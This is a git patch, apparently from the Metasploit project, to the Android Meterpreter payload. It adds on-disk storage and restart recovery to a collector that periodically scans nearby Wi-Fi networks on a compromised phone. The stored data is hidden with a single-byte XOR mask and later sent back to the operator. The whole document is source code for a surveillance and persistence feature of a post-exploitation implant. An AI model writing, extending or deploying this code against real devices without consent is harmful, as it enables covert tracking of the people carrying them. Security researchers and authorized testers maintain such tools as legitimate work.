From 726bc5b721e977da6a4fb6be60203ed2c6f99b5c Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 19 Aug 2015 00:20:33 +1000 Subject: [PATCH] Add support for writing to storage, and restarting This commit adds support for simple writing to disk functioanlity. It means that the collectors can continue to collect and write to disk while offline, and if they stop, they can restart and regather information stored on disk. These files are removed when the application is removed, so the content doesn't survive new installations of the payload. --- java/androidpayload/app/AndroidManifest.xml | 1 + .../meterpreter/AndroidMeterpreter.java | 2 +- .../IntervalCollectionManager.java | 46 +++- .../meterpreter/IntervalCollector.java | 197 ++++++++++++++++++ .../metasploit/meterpreter/WifiCollector.java | 123 +++++++++-- .../meterpreter/android/interval_collect.java | 28 +-- .../meterpreter/IntervalCollector.java | 93 --------- 7 files changed, 349 insertions(+), 141 deletions(-) rename java/{meterpreter/meterpreter/src/main/java => androidpayload/library/src}/com/metasploit/meterpreter/IntervalCollectionManager.java (59%) create mode 100644 java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollector.java delete mode 100644 java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/IntervalCollector.java diff --git a/java/androidpayload/app/AndroidManifest.xml b/java/androidpayload/app/AndroidManifest.xml index 6602fc55..324549cf 100644 --- a/java/androidpayload/app/AndroidManifest.xml +++ b/java/androidpayload/app/AndroidManifest.xml @@ -23,6 +23,7 @@ + diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java b/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java index 9fe94cfb..718fe568 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java @@ -110,7 +110,7 @@ public class AndroidMeterpreter extends Meterpreter { e.printStackTrace(); } - this.intervalCollectionManager = new IntervalCollectionManager(); + this.intervalCollectionManager = new IntervalCollectionManager(getContext()); this.intervalCollectionManager.start(); startExecuting(); this.intervalCollectionManager.stop(); diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/IntervalCollectionManager.java b/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollectionManager.java similarity index 59% rename from java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/IntervalCollectionManager.java rename to java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollectionManager.java index df65c7ab..78f31d7f 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/IntervalCollectionManager.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollectionManager.java @@ -1,18 +1,47 @@ package com.metasploit.meterpreter; +import android.content.Context; + import java.util.Enumeration; import java.util.Hashtable; public class IntervalCollectionManager { + + private static final int COLLECT_TYPE_WIFI = 1; + + private final Context context; private final Hashtable collectors; - public IntervalCollectionManager() { + public IntervalCollectionManager(Context context) { + this.context = context; this.collectors = new Hashtable(); } + public boolean createCollector(int type, long timeout) { + IntervalCollector collector = this.getCollector(type); + + if (collector == null) { + switch (type) { + case COLLECT_TYPE_WIFI: { + collector = new WifiCollector(COLLECT_TYPE_WIFI, this.context, timeout); + break; + } + default: { + return false; + } + } + } + + if (collector != null) { + this.addCollector(type, collector); + return true; + } + + return false; + } + public void start() { - // TODO: go through storage and see what is - // currently in progress + loadExistingCollectors(); Enumeration ids = this.collectors.keys(); @@ -20,6 +49,17 @@ public class IntervalCollectionManager { this.collectors.get(ids.nextElement()).start(); } } + + private void loadExistingCollectors() { + IntervalCollector collector = null; + + collector = new WifiCollector(COLLECT_TYPE_WIFI, this.context); + if (collector.loadFromDisk()) { + this.collectors.put(COLLECT_TYPE_WIFI, collector); + } + + // more collection types will go here. + } public void addCollector(int id, IntervalCollector collector) { this.collectors.put(id, collector); diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollector.java b/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollector.java new file mode 100644 index 00000000..08f4b40d --- /dev/null +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollector.java @@ -0,0 +1,197 @@ +package com.metasploit.meterpreter; + +import android.content.Context; + +import java.io.ByteArrayOutputStream; +import java.io.ByteArrayInputStream; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; + +import java.util.concurrent.ArrayBlockingQueue; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.TimeUnit; +import java.util.List; +import java.util.Random; + +public abstract class IntervalCollector { + protected final int collectorId; + protected final Context context; + protected long timeout; + + private final Random random; + private boolean isCollecting; + private Thread thread; + private BlockingQueue queue; + + private class IntervalRunner implements Runnable { private final IntervalCollector collector; + + public IntervalRunner(IntervalCollector collector) { + this.collector = collector; + } + + public void run() { + this.collector.threadFunc(); + } + } + + protected IntervalCollector(int collectorId, Context context, long timeout) { + this.collectorId = collectorId; + this.context = context; + this.random = new Random(); + this.timeout = timeout; + + // use an array blocking queue of length 1, which is used + // as a mechanism to stop the processing if required. + this.queue = new ArrayBlockingQueue(1); + } + + protected IntervalCollector(int collectorId, Context context) { + this.collectorId = collectorId; + this.context = context; + this.random = new Random(); + + // use an array blocking queue of length 1, which is used + // as a mechanism to stop the processing if required. + this.queue = new ArrayBlockingQueue(1); + } + + private void writeToDisk(ByteArrayOutputStream bytes) { + byte[] content = bytes.toByteArray(); + byte[] rnd = new byte[1]; + this.random.nextBytes(rnd); + + for (int i = 0; i < content.length; ++i) { + content[i] = (byte)(content[i] ^ rnd[0]); + } + + try { + FileOutputStream outStream = this.context.openFileOutput(this.fileName(), Context.MODE_PRIVATE); + outStream.write(rnd); + outStream.write(content); + outStream.close(); + } + catch (IOException e) { + // we failed, move on. + } + } + + public boolean loadFromDisk() { + try { + FileInputStream fileStream = this.context.openFileInput(this.fileName()); + byte xor = (byte)fileStream.read(); + byte[] buffer = new byte[1024]; + int bytesRead = 0; + ByteArrayOutputStream memStream = new ByteArrayOutputStream(); + + while (true) { + bytesRead = fileStream.read(buffer, 0, buffer.length); + if (bytesRead == -1) { + break; + } + + for (int i = 0; i < bytesRead; ++i) { + buffer[i] = (byte)(buffer[i] ^ xor); + } + memStream.write(buffer); + } + + byte[] content = memStream.toByteArray(); + + DataInputStream inputStream = new DataInputStream(new ByteArrayInputStream(content)); + this.loadFromMemory(inputStream); + inputStream.close(); + return true; + } + catch (IOException e) { + // we failed, move on. + return false; + } + } + + private void threadFunc() { + boolean firstRun = true; + this.init(); + this.isCollecting = true; + + while (this.isRunning()) { + try { + if (firstRun || this.queue.poll(this.timeout, TimeUnit.SECONDS) == null) { + firstRun = false; + // timeout occured and nothing was in the queue, so process + // the collection + if (this.isCollecting) { + ByteArrayOutputStream bytes = new ByteArrayOutputStream(); + DataOutputStream output = new DataOutputStream(bytes); + if (this.collect(output)) { + this.writeToDisk(bytes); + } + } + } + else { + // something was put in the queue, which is our signal to finish + this.thread = null; + } + } + catch (IOException e) { + // failed to read "stuff" from file, so delete the file + // and move on + // TODO: delete file + } + catch (InterruptedException e) { + // something went wrong, so bail out. + this.thread = null; + } + } + this.deinit(); + } + + public void start() { + this.thread = new Thread(new IntervalRunner(this)); + this.thread.start(); + } + + public void pause() { + this.isCollecting = false; + } + + public void resume() { + this.isCollecting = true; + } + + public void stop() { + // we add an element to the queue, as this is how we + // simulate the signal for exiting + this.queue.add(new Object()); + } + + public boolean dump(TLVPacket packet) { + if (flush(packet)) { + this.context.deleteFile(this.fileName()); + return true; + } + return false; + } + + public boolean isRunning() { + return this.thread != null; + } + + protected long getTimeout() { + return this.timeout; + } + + private String fileName() { + return "" + this.collectorId; + } + + protected abstract boolean collect(DataOutputStream output) throws IOException; + protected abstract void init(); + protected abstract void deinit(); + protected abstract boolean flush(TLVPacket packet); + protected abstract void loadFromMemory(DataInputStream input) throws IOException; +} + diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/WifiCollector.java b/java/androidpayload/library/src/com/metasploit/meterpreter/WifiCollector.java index 7fd56919..76671fa6 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/WifiCollector.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/WifiCollector.java @@ -12,9 +12,12 @@ import android.net.wifi.WifiManager; import com.metasploit.meterpreter.android.interval_collect; +import java.io.DataInputStream; +import java.io.DataOutputStream; import java.io.IOException; import java.lang.InterruptedException; +import java.lang.Math; import java.util.ArrayList; import java.util.Collections; @@ -22,12 +25,53 @@ import java.util.List; import java.util.Hashtable; public class WifiCollector extends IntervalCollector { - private final Context context; private final Object syncObject = new Object(); - private Hashtable> collections = null; + private Hashtable> collections = null; private WifiReceiver receiver = null; + private class WifiResult { + private final String bssid; + private final String ssid; + private final int level; + + public WifiResult(String bssid, String ssid, int level) { + this.bssid = bssid; + this.ssid = ssid; + this.level = level; + } + + public WifiResult(ScanResult result) { + this.bssid = result.BSSID; + this.ssid = result.SSID; + this.level = result.level; + } + + public WifiResult(DataInputStream input) throws IOException { + this.bssid = input.readUTF(); + this.ssid = input.readUTF(); + this.level = input.readShort(); + } + + public void write(DataOutputStream output) throws IOException { + output.writeUTF(this.bssid); + output.writeUTF(this.ssid); + output.writeShort(this.level); + } + + public String getBssid() { + return this.bssid; + } + + public String getSsid() { + return this.ssid; + } + + public int getLevel() { + return this.level; + } + } + private class WifiReceiver extends BroadcastReceiver { private final Context context; @@ -93,38 +137,78 @@ public class WifiCollector extends IntervalCollector { } } - public WifiCollector(long timeout, Context context) { - super(timeout); - this.context = context; - this.collections = new Hashtable>(); + public WifiCollector(int collectorId, Context context, long timeout) { + super(collectorId, context, timeout); + this.collections = new Hashtable>(); } - public void collect() { - List results = this.receiver.runScan(); - if (results != null) { + public WifiCollector(int collectorId, Context context) { + super(collectorId, context); + this.collections = new Hashtable>(); + } + + protected boolean collect(DataOutputStream output) throws IOException { + List scanResults = this.receiver.runScan(); + if (scanResults != null) { + List results = new ArrayList(); + for (ScanResult scanResult : scanResults) { + results.add(new WifiResult(scanResult)); + } + synchronized (this.syncObject) { this.collections.put(System.currentTimeMillis(), results); + + // collect requires the result to be the serialised version of + // the collection data so that it can be written to disk + output.writeLong(this.timeout); + output.writeInt(this.collections.size()); + for (Long ts : this.collections.keySet()) { + results = this.collections.get(ts.longValue()); + output.writeLong(ts.longValue()); + output.writeInt(results.size()); + for (WifiResult wifiResult : results) { + wifiResult.write(output); + } + } } + + return true; + } + + return false; + } + + protected void loadFromMemory(DataInputStream input) throws IOException { + this.timeout = input.readLong(); + int collectionCount = input.readInt(); + for (int i = 0; i < collectionCount; ++i) { + long ts = input.readLong(); + int resultCount = input.readInt(); + List results = new ArrayList(); + for (int j = 0; j < resultCount; ++j) { + results.add(new WifiResult(input)); + } + this.collections.put(ts, results); } } - public void init() { + protected void init() { if (this.receiver == null) { this.receiver = new WifiReceiver(this.context, this.getTimeout()); } } - public void deinit() { + protected void deinit() { this.receiver = null; } - public boolean dump(TLVPacket packet) { - Hashtable> collections = this.collections; + public boolean flush(TLVPacket packet) { + Hashtable> collections = this.collections; synchronized (this.syncObject) { // create a new collection, for use on the other thread // if it's running - this.collections = new Hashtable>(); + this.collections = new Hashtable>(); } List sortedKeys = new ArrayList(collections.keySet()); @@ -132,7 +216,7 @@ public class WifiCollector extends IntervalCollector { for (Long ts : sortedKeys) { long timestamp = ts.longValue(); - List scanResults = collections.get(timestamp); + List scanResults = collections.get(timestamp); TLVPacket resultSet = new TLVPacket(); @@ -144,13 +228,14 @@ public class WifiCollector extends IntervalCollector { } for (int i = 0; i < scanResults.size(); ++i) { - ScanResult result = scanResults.get(i); + WifiResult result = scanResults.get(i); TLVPacket wifiSet = new TLVPacket(); try { - wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_SSID, result.SSID); - wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_BSSID, result.BSSID); - wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL, result.level); + wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_SSID, result.getSsid()); + wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_BSSID, result.getBssid()); + // level is negative, but it'll be converted to positive on the flip side. + wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL, Math.abs(result.getLevel())); resultSet.addOverflow(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI, wifiSet); } diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/interval_collect.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/interval_collect.java index 475e18e8..859449d5 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/interval_collect.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/interval_collect.java @@ -20,8 +20,6 @@ public class interval_collect implements Command { private static final int COLLECT_ACTION_STOP = 4; private static final int COLLECT_ACTION_DUMP = 5; - private static final int COLLECT_TYPE_WIFI = 1; - public static final int TLV_TYPE_COLLECT_TYPE = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9050); public static final int TLV_TYPE_COLLECT_ACTION = TLVPacket.TLV_META_TYPE_UINT @@ -52,7 +50,7 @@ public class interval_collect implements Command { switch (action) { case COLLECT_ACTION_START: { - result = this.startNew(manager, met.getContext(), request); + result = this.startNew(manager, request); break; } case COLLECT_ACTION_PAUSE: { @@ -88,31 +86,11 @@ public class interval_collect implements Command { return result ? ERROR_SUCCESS: ERROR_FAILURE; } - private boolean startNew(IntervalCollectionManager manager, Context context, TLVPacket request) { + private boolean startNew(IntervalCollectionManager manager, TLVPacket request) { int type = request.getIntValue(TLV_TYPE_COLLECT_TYPE); - if (manager.getCollector(type) != null) { - return false; - } - long timeout = (long)request.getIntValue(TLV_TYPE_COLLECT_TIMEOUT); - IntervalCollector collector = null; - switch (type) { - case COLLECT_TYPE_WIFI: { - collector = new WifiCollector(timeout, context); - break; - } - default: { - return false; - } - } - - if (collector != null) { - manager.addCollector(type, collector); - return true; - } - - return false; + return manager.createCollector(type, timeout); } } diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/IntervalCollector.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/IntervalCollector.java deleted file mode 100644 index aec1d872..00000000 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/IntervalCollector.java +++ /dev/null @@ -1,93 +0,0 @@ -package com.metasploit.meterpreter; - -import java.util.concurrent.ArrayBlockingQueue; -import java.util.concurrent.BlockingQueue; -import java.util.concurrent.TimeUnit; -import java.util.List; - -public abstract class IntervalCollector { - private long timeout; - private boolean isCollecting; - private Thread thread; - private BlockingQueue queue; - - private class IntervalRunner implements Runnable { - private final IntervalCollector collector; - - public IntervalRunner(IntervalCollector collector) { - this.collector = collector; - } - - public void run() { - this.collector.threadFunc(); - } - } - - protected IntervalCollector(long timeout) { - this.timeout = timeout; - - // use an array blocking queue of length 1, which is used - // as a mechanism to stop the processing if required. - this.queue = new ArrayBlockingQueue(1); - } - - private void threadFunc() { - this.init(); - this.isCollecting = true; - - while (this.isRunning()) { - try { - if (this.queue.poll(this.timeout, TimeUnit.SECONDS) == null) { - // timeout occured and nothing was in the queue, so process - // the collection - if (this.isCollecting) { - this.collect(); - } - } - else { - // something was put in the queue, which is our signal to finish - this.thread = null; - } - } - catch (InterruptedException e) { - // something went wrong, so bail out. - this.thread = null; - } - } - this.deinit(); - } - - public void start() { - this.thread = new Thread(new IntervalRunner(this)); - this.thread.start(); - } - - public void pause() { - this.isCollecting = false; - } - - public void resume() { - this.isCollecting = true; - } - - public void stop() { - // we add an element to the queue, as this is how we - // simulate the signal for exiting - this.queue.add(new Object()); - } - - public abstract boolean dump(TLVPacket packet); - - public boolean isRunning() { - return this.thread != null; - } - - protected long getTimeout() { - return this.timeout; - } - - protected abstract void collect(); - protected abstract void init(); - protected abstract void deinit(); -} -